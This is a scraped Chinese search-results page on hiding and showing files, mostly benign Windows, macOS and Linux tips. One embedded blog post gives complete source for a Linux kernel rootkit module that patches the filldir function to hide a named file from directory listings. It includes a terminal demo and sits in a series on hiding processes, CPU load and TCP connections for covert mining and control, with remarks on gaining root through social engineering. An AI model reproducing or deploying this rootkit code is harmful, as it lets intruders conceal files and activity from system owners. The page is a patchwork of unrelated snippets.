精华内容
下载资源
问答
  • 后来听说可能是有隐藏文件,这文件都隐藏了怎么才能看见呢?关于电脑中怎么查看隐藏文件的问题,小编给大家找了两种可以查看隐藏文件的方法,一起来瞧一下吧。方法一:文件夹中查看隐藏文件第一步,打开“空的”...

    有时候我们在打开文件夹的时候,明明是空的什么文件也没有,但是却发现仍然会占用磁盘空间,这是怎么回事呢?后来听说可能是有隐藏文件,这文件都隐藏了怎么才能看见呢?关于电脑中怎么查看隐藏文件的问题,小编给大家找了两种可以查看隐藏文件的方法,一起来瞧一下吧。

    方法一:文件夹中查看隐藏文件

    第一步,打开“空的”文件夹,点击窗口上方的【工具】选项,然后点击选择【文件夹选项】。

    0e7585e262feccfe980f25fd7d0df6eb.png

    eaad3a48c96e569225d428b57d70b0bf.gif

    第二步,在新弹出的对话框中,点击【查看】选项卡。

    eaad3a48c96e569225d428b57d70b0bf.gif

    第三步,在【高级设置】模块下,勾选【显示隐藏的文件,文件夹和驱动器】选项,然后去掉【隐藏受保存的操作系统文件】的勾选项,点击【确定】即可。

    eaad3a48c96e569225d428b57d70b0bf.gif

    方法二:我的电脑中查看隐藏文件

    第一步,双击打开【我的电脑】,然后点击展开【查看】选项卡。

    eaad3a48c96e569225d428b57d70b0bf.gif

    第二步,在查看选项卡中的左右侧,点击【选项】按钮。

    eaad3a48c96e569225d428b57d70b0bf.gif

    第三步,这时候就会进入到【文件夹选项】对话框,然后我们需要还是点击【查看】选项卡。

    eaad3a48c96e569225d428b57d70b0bf.gif

    第四步,跟方法一相同,去掉勾选【隐藏受保存的操作系统文件】选项,勾选【显示隐藏的文件,文件夹和驱动器】选项即可。

    eaad3a48c96e569225d428b57d70b0bf.gif

    不管你是什么系统的电脑,这2种方法中总有一个是你需要的。怎么查看隐藏文件的方法就讲完了,以后再遇到有隐藏文件的情况,就可以用以上的方法显示隐藏文件,最主要的还是这两种方法都非常的简单,而且还有好多操作都是相同的,回了一种另一种也就会了。好了,今天的分享就到这里了,希望能对你有所帮助。

    展开全文
  • 文件隐藏程序

    2014-09-17 21:59:50
    本人用过到现在最好用的文件隐藏工具,可以隐藏文件或文件夹,隐藏后在分区工具中都无法看到,只有打开程序输入密码,并解密对应的文件或文件夹才能在系统中显示出来。相对于其他加密,方便而且更安全,不会因为加密...
  • 文件隐藏图片工具

    2013-03-21 08:19:08
    本软件可以将你的文件隐藏在一张图片当中,而且还能加密,只有输入正确的密码才能在图片中提取出来,可以非常安全的隐藏你的文件
  • 1、彻底隐藏文件或文件夹,一旦通过此软件隐藏文件后, 利用搜索隐藏文件等常规方式将无法显示和打开这些文件夹, 需要你在软件中点击【设置显示文件或文件夹】才能重新显现。 2、查看本机隐藏的文件和文件夹...
  • MacBook Pro 设置Finder显示隐藏文件

    千次阅读 2018-09-18 21:35:48
    Mac OS下默认Finder是不显示隐藏文件的,譬如maven的.m2文件夹,我想做的操作是想把.m2文件夹拷到硬盘里,然后Finder无显示,解决方法: 1、进入终端,输入命令行 // 设置隐藏文件不可见 defaults write ...

    Mac OS下默认Finder是不显示隐藏文件的,譬如maven的.m2文件夹,我想做的操作是想把.m2文件夹拷到硬盘里,然后Finder无显示,解决方法:

    1、进入终端,输入命令行

    // 设置隐藏文件不可见
    defaults write com.apple.finder AppleShowAllFiles FALSE 
    // 设置隐藏文件可见
    defaults write com.apple.finder AppleShowAllFiles TRUE

    2、还需要在终端中调用 killall Finder 重启 Finder 才能应用修改。

    killall Finder

     

    展开全文
  • Mac OS X 下设置隐藏文件是否可见

    千次阅读 2014-06-23 14:58:55
    Apple系统中显示或隐藏隐藏文件必须通过命令行语句才能实现,不象windows通过设置即可实现。好象第三方软件可以实现这个功能。 开启显示隐藏文件: defaults write com.apple.finder AppleShowAllFiles -bool TRUE...

    Mac OS X 下设置隐藏文件是否可见


    Apple系统中显示或隐藏隐藏文件必须通过命令行语句才能实现,不象windows通过设置即可实现。好象第三方软件可以实现这个功能。

    开启显示隐藏文件:
    defaults write com.apple.finder AppleShowAllFiles -bool TRUE

    关闭显示隐藏文件:
    defaults write com.apple.finder AppleShowAllFiles -bool FALSE

    以上代码在终端内执行后还需要重新启动Finder才能真正生效。重启Finder的方法很多:
    1)按住option+command,然后在dock上面点右键,弹出来的菜单中选择“Relanch”或“重新开启”即可。
    2)点击左上角的“苹果菜单”,选择弹出的菜单中的“Force Quit”,在弹出的对话框中选择重启Finder即可

    展开全文
  • Linux系统如何隐藏一个文件

    千次阅读 2020-04-09 23:28:28
    自隐藏进程,隐藏CPU利用率,隐藏TCP连接后,现在要隐藏文件了! 关于进程隐藏,CPU利用率隐藏,TCP连接隐藏的手艺,请看: https://blog.csdn.net/dog250/article/details/105371830 ... 一般情况下,运维系统依靠CPU...

    自隐藏进程,隐藏CPU利用率,隐藏TCP连接后,现在要隐藏文件了!

    关于进程隐藏,CPU利用率隐藏,TCP连接隐藏的手艺,请看:
    https://blog.csdn.net/dog250/article/details/105371830
    https://blog.csdn.net/dog250/article/details/105394840

    一般情况下,运维系统依靠CPU利用率来生成告警,CPU利用率被隐藏了,还怎么办?试想,你的挖矿进程已经把CPU跑满,且这些进程被隐藏了,且CPU利用率也被隐藏了,一切看起来很祥和,但是系统就是卡得要死…甚至风扇也被hack了…

    这个时候,你需要一条TCP连接从外部控制你的进程,呃…这条TCP连接也隐藏了…此时,你需要把数据暂存在这台机器的磁盘上,如何不被发现?

    呃…这就需要隐藏文件了。

    经理呢?经理呢?来吧!

    文件隐藏和进程隐藏,CPU利用率隐藏这些完全不同,因为文件本身并不属于操作系统的一部分,它是属于文件系统的,操作系统通过文件系统驱动以及必要情况下的磁盘驱动和文件打交道。

    文件并不像进程那样,处在操作系统内存的数据结构中并被操作系统内核管理,文件是被特定文件系统管理的,每一种文件系统都有不同的文件布局格式,换句话说, 文件接受文件系统的庇护。

    我们知道, 领主的领主,不是我的领主;附庸的附庸,不是我的附庸。 所以,我们只需要hook文件系统即可。如果非要在底层文件系统甚至磁盘上做文章,未免太复杂,也没必要。

    在Linux内核中, VFS是盖在所有文件系统上的一个界面! 显然,我就拿它开刀了!

    原理很简单,只要hook掉filldir这个函数即可咯。

    // hide_file.c
    #include <linux/module.h>
    #include <linux/kallsyms.h>
    #include <linux/cpu.h>
    
    char *stub;
    
    struct linux_dirent {
        unsigned long   d_ino;
        unsigned long   d_off;
        unsigned short  d_reclen;
        char        d_name[1];
    };
    
    struct getdents_callback {
        struct linux_dirent __user * current_dir;
        struct linux_dirent __user * previous;
        int count;
        int error;
    };
    
    // 该函数不要inline,这是为了避免寄存器的胡乱使用,从而flush掉原始的filldir函数的寄存器。
    noinline int stub_filldir(void * __buf, const char * name, int namelen, loff_t offset,
    			u64 ino, unsigned int d_type)
    {
    	// 使用char数组的话,需要strncmp函数调用,这就需要校准偏移了,麻烦
    	//char shoe[8] = {'s', 'k', 'i', 'n', 's', 'h', 'o', 'e'};
    	//if (!strncmp(name, shoe, namelen))  {
    
    	// 直接使用"skinshoe"的话,常量字符串会随着模块的退出而释放,放弃
    	//if (!strncmp(name, "skinshoe", namelen))  {
    
    	// 直接逐字符比较,作为demo,够了!
    	// 最好的方法还是将“皮鞋”藏在某些不为人知的缝隙里
    	if (name[0] == 's' && name[1] == 'k' && name[2] == 'i' &&
    		name[3] == 'n' && name[4] == 's' && name[5] == 'h' &&
    		name[6] == 'o' && name[7] == 'e') {
    		struct linux_dirent __user * dirent = NULL;
    		struct getdents_callback * buf = (struct getdents_callback *) __buf;
    		int reclen = ALIGN(offsetof(struct linux_dirent, d_name) + namelen + 2, sizeof(long));
    		// skip掉skinshoe这个文件。
    		dirent = (void __user *)dirent + reclen;
    		buf->current_dir = dirent;
    		return 0;
    	}
    	return 1;
    }
    
    int call_stub(void * __buf, const char * name, int namelen, loff_t offset,
    						u64 ino, unsigned int d_type)
    {
    	int ret;
    	asm ("push %rdi; push %rsi; push %rdx; push %rcx; push %r8; push %r9;");
    	ret = stub_filldir(__buf, name, namelen, offset, ino, d_type);
    	if (!ret)
    		asm ("pop %r9; pop %r8; pop %rcx; pop %rdx; pop %rsi; pop %rdi; pop %rbp; pop %r11; xor %eax,%eax; retq");
    	asm ("pop %r9; pop %r8; pop %rcx; pop %rdx; pop %rsi; pop %rdi;");
    	return ret;
    }
    
    static int hide = 1;
    module_param(hide, int, 0444);
    
    #define FTRACE_SIZE   	5
    #define POKE_OFFSET		0
    #define POKE_LENGTH		5
    
    #define START _AC(0xffffffffa0000000, UL)
    #define END   _AC(0xffffffffff000000, UL)
    
    void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
                unsigned long start, unsigned long end, gfp_t gfp_mask,
                pgprot_t prot, int node, const void *caller);
    static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
    static struct mutex *_text_mutex;
    
    char *_filldir;
    char restore[5] = {0x0f, 0x1f, 0x44, 0x00, 0x00};
    
    static int __init filter_file_init(void)
    {
    	unsigned char jmp_call[POKE_LENGTH];
    	s32 offset;
    	unsigned long delta = 0x62;
    	unsigned int *pos  ;
    
    	_filldir = (void *)kallsyms_lookup_name("filldir");
    	if (!_filldir) {
    		return -1;
    	}
    
    	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
    	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
    	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
    	if (!_text_poke_smp || !_text_mutex) {
    		return -1;
    	}
    
    	if (hide == 0) {
    		// 通过ftrace stub获取动态内存的偏移
    		offset = *(unsigned int *)&_filldir[1];
    		stub = (char *)(offset + (unsigned long)_filldir + FTRACE_SIZE);
    		offset = call_stub - stub_filldir;
    		stub = stub - offset;
    
    		get_online_cpus();
    		mutex_lock(_text_mutex);
    		_text_poke_smp(&_filldir[POKE_OFFSET], &restore[0], POKE_LENGTH);
    		mutex_unlock(_text_mutex);
    		put_online_cpus();
    
    		// 释放内存
    		vfree(stub);
    		return -1;
    	}
    
    	stub = (void *)___vmalloc_node_range(0xfff, 1, START, END,
    					GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
    					-1, __builtin_return_address(0));
    	if (!stub) {
    		printk("nomem\n");
    		return -1;
    	}
    	
    	// 模块退出后函数被释放,所以需要拷贝到独立内存里。
    	memcpy(stub, stub_filldir, 0xfff);
    	pos = (unsigned int *)&stub[delta];
    	offset = call_stub - stub_filldir;
    	offset = (s32)((long)stub - (long)_filldir - FTRACE_SIZE + offset);
    
    	jmp_call[0] = 0xe8;
    	(*(s32 *)(&jmp_call[1])) = offset;
    	get_online_cpus();
    	mutex_lock(_text_mutex);
    	_text_poke_smp(&_filldir[POKE_OFFSET], jmp_call, POKE_LENGTH);
    	mutex_unlock(_text_mutex);
    	put_online_cpus();
    
    	// 事了拂衣去,深藏身与名!
    	return -1;
    }
    // 不需要exit函数!
    module_init(filter_file_init);
    MODULE_LICENSE("GPL");
    

    编译成hide_file.ko,来吧,一起看看效果:隐藏名字为skinshoe的文件:

    [root@localhost hidefile]# ls	# 未加载模块,可以看到skinshoe
    a  afile  b  c  hide_file.ko  skinshoe  test  wu
    [root@localhost hidefile]# cat skinshoe	# 可以读出skinshoe的内容
    1111
    [root@localhost hidefile]# insmod ./hide_file.ko	# 加载模块,隐藏skinshoe
    insmod: ERROR: could not insert module ./hide_file.ko: Operation not permitted
    [root@localhost hidefile]# ls	# 确认文件被隐藏,确实看不到了
    a  afile  b  c  hide_file.ko  test  wu
    [root@localhost hidefile]# cat skinshoe	# 然而依然可以被打开并读取内容
    1111
    [root@localhost hidefile]# echo 2222 >>./skinshoe	# 追加点内容试试
    [root@localhost hidefile]# ls	# 依然看不到skinshoe
    a  afile  b  c  hide_file.ko  test  wu
    [root@localhost hidefile]# insmod ./hide_file.ko hide=0	# 恢复skinshoe的显示
    insmod: ERROR: could not insert module ./hide_file.ko: Operation not permitted
    [root@localhost hidefile]# ls	# 确认一下,确实看到了
    a  afile  b  c  hide_file.ko  skinshoe  test  wu
    [root@localhost hidefile]# cat skinshoe	# 确认内容,隐藏期间的追加成功了!
    1111
    2222
    [root@localhost hidefile]#
    

    有趣吗?

    你可能会说,这也没隐藏啊,不是还是可以读写吗?

    难道这件事不就是为了 只有我能读写而别人不能 吗?诚然,skinshoe这个文件名很简单,但是有几个人能猜出来呢?如果我隐藏一个名字为 “796dehwif8fq99urhdkda” 的文件,谁又能知道呢?我自己知道就行。

    我当然没有把事情做全,我知道,完全可以继续hook掉VFS的open操作,比如只有特定名字的进程才能打开这个文件,而这个进程已经被我隐藏了… 事情就更有趣了。

    这一切的前提,依然是你有root权限,所以这些都是rootkit!至于说如何获取root权限,这便是另一个话题了。

    据我所知,社会工程学攻击更适合于获取root权限,而不是通过挖洞技术。你甚至只需要10分钟的root权限,在无眼线的情况下就能把上述以及前文介绍的这些rootkit手艺部署完成。

    关于社会工程学,这又是一个很大的话题,正如我一向很认可的那种方式,获取密码的最好方式就是 直接问 ,哀求,威胁,伪善如果好用,就不去折腾那些纸上谈兵的所谓破解技术。当然了,程序员并不认可我说的这些,程序员还是除了技术皆为粪土的,这次,我好像和经理站成了一队。

    最后,谈谈实用性。

    我这些rootkit实用吗?也许吧。但我这些皆在展示手艺,如果你想实用,网上一搜一箩筐的preload library可用,现实中机器被入侵被注入的大多数也都是这些,如果往内核里走,hook operations也是一搜一箩筐的。但无论哪个,均需要繁重的编程工作,极大的代码量作为保证。

    我之所以不选择这些,因为我不会编程,但是也不是一点都不会,还稍微会一些,所以我只能用一些奇技淫巧,见招拆招地做一些小动作,小把戏。我老婆问我天天折腾的这些有什么意义,我说, “我这是不用编程而修改操作系统了”

    当然,碰到CFI【控制流完整性,Control-flow integrity】,还是有一些工作需要去做,下面是一篇lwn:
    https://lwn.net/Articles/810077/

    唉,冯诺伊曼结构就是这样,存储执行模型天生的弊端,需要后面各种机制来不断patch,如果是哈佛结构,是不是要好很多?也许吧。经理!你说呢?你知道我在说什么吗?


    浙江温州皮鞋湿,下雨进水不会胖。

    展开全文
  • 显示隐藏文件:defaults write com.apple.finder AppleShowAllFiles -bool true恢复隐藏命令:defaults write com.apple.finder AppleShowAllFiles -bool false2.电脑重启(重启 Finder 才能看到效果);...
  • win 10 系统显示U盘隐藏文件

    千次阅读 2018-03-28 22:56:36
    百度经验:jingyan.baidu.comU盘...其实文件并不是消失了,而是被隐藏了,如何才能显示隐藏文件呢?本经验以win10系统为例,其他Windows 系统方法类似,将介绍如何将隐藏的U盘文件“揪”出来!步骤阅读百度经验:ji...
  • 一旦通过此软件隐藏文件后,利用搜索隐藏文件等常规方式将无法显示和打开这些文件夹,需要你在软件中点解除隐藏才能重新显现。 软件默认支持“仅隐藏不锁定”和“隐藏并且锁定”两种模式,如果启用后者,即使其他人...
  • Linux查看隐藏文件

    千次阅读 2017-07-28 20:49:59
    [root@dbtest ~]# cd /root [root@dbtest ~]# ls anaconda-ks.cfg ncurses-devel-5.7-3.20090208.el6.x86_64.rpm rlwrap-0.37-1.el5.x86_64.rpm Desktop readline-6.2
  • Apple系统中显示或隐藏隐藏文件必须通过命令行语句才能实现,不象windows通过设置即可实现。好象第三方软件可以实现这个功能。 &nbsp; 开启显示隐藏文件: defaults write ...
  • 删除文件夹的方法例如: 你D盘有个文件夹名为bat 删除方法:运行cmd 回车 输入rd d:\bat 回车就行了 删除文件的方法:例如:E盘有个压缩文件...第二del 只能删除文件,不能删除文件夹,如果删除文件必须要把文件的格式加
  • 在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。是很多系
  • 将默认的.git隐藏文件显示

    万次阅读 2018-08-22 09:38:15
    由于从git远程仓库下载下来的代码,如果.git文件隐藏,在需要用命令行进行git管理代码时,可能拿捏不准要cd到哪层,如果能看到.git文件就很轻易知道工作空间的路径了(即cd到.git所在的文件夹即可)。 让.git目录显示...
  • D盘里有两个一模一样的Program Files 文件夹,文件夹里文件不显示,没隐藏。怎么才能显示出来?新买不久的电脑,win8.1系统 点击开始---运行---输入“cmd”(没有引号)---在弹出的命令提示符窗口中---输入“cd /d ...
  • 它不但可以隐藏文件和文件夹,还可以隐藏USB驱动器。隐藏效果即时生效,可以直接将文件或文件夹拖拽到软件界面中的空白处进行隐藏。双重隐藏加强功能,隐藏后还可以给隐藏的文件或者文件夹进行加密保护,通过它隐藏...
  • Mac系统下,在Finder中显示隐藏文件   第一种:通过终端命令方式 在终端里输入下面命令即可让它们显示出来。 defaults write ~/Library/Preferences/com.apple.finder AppleShowAllFile
  • 显示隐藏扩展名和(或)系统文件,一般要到文件夹...“显示/隐藏 系统文件”需右键单击任意文件夹或文件才能显示菜单; “显示/隐藏 扩展名”需右键单击任意文件夹里的空白处才能显示菜单, 具体可下载观看演示视频。
  • 显示和隐藏mac文件

    千次阅读 2011-09-09 11:55:42
    翻译了一个小技巧,显示隐藏文件有很多方法,站里有不少,我搜索了一下,好像没有我一下介绍的方法,所以发来与大家分享一下 在Mac OS X中,文件名前有一个点“.”就可以隐藏文件。你以前可能注意过这点,例如,...
  • OS X 10.9 Mavericks 下如何显示隐藏文件

    千次阅读 2013-12-16 02:12:28
    之前,OS X 系统都可以通过如下两条命令来开启/关闭系统隐藏文件的显示: defaults write com.apple.Finder AppleShowAllFiles Yes && killall Finder //显示隐藏文件 defaults write com.apple.Fin
  • Mac系统如何显示隐藏文件

    千次阅读 2013-05-24 16:46:36
    Mac 不像Windows 一样可以直接设置。 在终端里输入下面命令即可让它们显示出来。  defaults write ... 如果想恢复隐藏,可以用这个命令:  defaults write com.apple.finder AppleShowAllFiles -
  • 用 COPY 命令合并文件隐藏秘密

    千次阅读 2013-11-06 22:30:34
    我们都知道DOS命令Copy的主要作用是复制文件,可是你是否知道,它还有一个作用是合并文件呢?... 笔者发现,巧妙地将一个文本文件合并到一个非文本文件中,可以实现隐藏秘密的作用。一起来看看吧。  比
  • WinMend Folder Hidden可以自由隐藏文件的同时也是没有分区限制的...WinMend Folder Hidden 是一个可以安全快速的隐藏文件或者文件夹的软件,首次运行程序会让设置一个密码,以后再打开程序必须输入密码才能进,用这个
  • 所以 mac下要 开关“隐藏文件”的方法,我总结了以下几种方法: 方法1:(我推荐此方法,因为这是快捷键实现的) 打开Automator(应用程序文件夹中)并选择服务。在资源库中选中“Run Shell Script”并将它拖...
  • Nginx禁止访问所有.开头的隐藏文件设置 location ~* /.* { deny all; }
  • 方法一:使用终端的命令 显示:defaults ...隐藏:defaults write com.apple.finder AppleShowAllFiles -bool false 具体步骤:1.打开终端 如下:打开Finder ——>打开应用程序或()  ——>打开
  • linux学习-文件隐藏属性

    千次阅读 2018-06-03 20:37:02
    Linux系统中的文件除了具备一般权限和特殊权限之外,还有一种隐藏权限,即被隐藏起来的权限,默认情况下不能直接被用户发觉。明明权限充足但却无法删除某个文件的情况,或者仅能在日志文件中追加内容而不能修改或...
  • 在Mac全新的系统El Capitan中,原先的显示系统中所有的隐藏文件的指令似乎失效了,只有重启以后才能显示,其实还有一个更简单的办法: 先在Terminal 输入: [plain] view plaincopy ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 205,253
精华内容 82,101
关键字:

怎么才能隐藏文件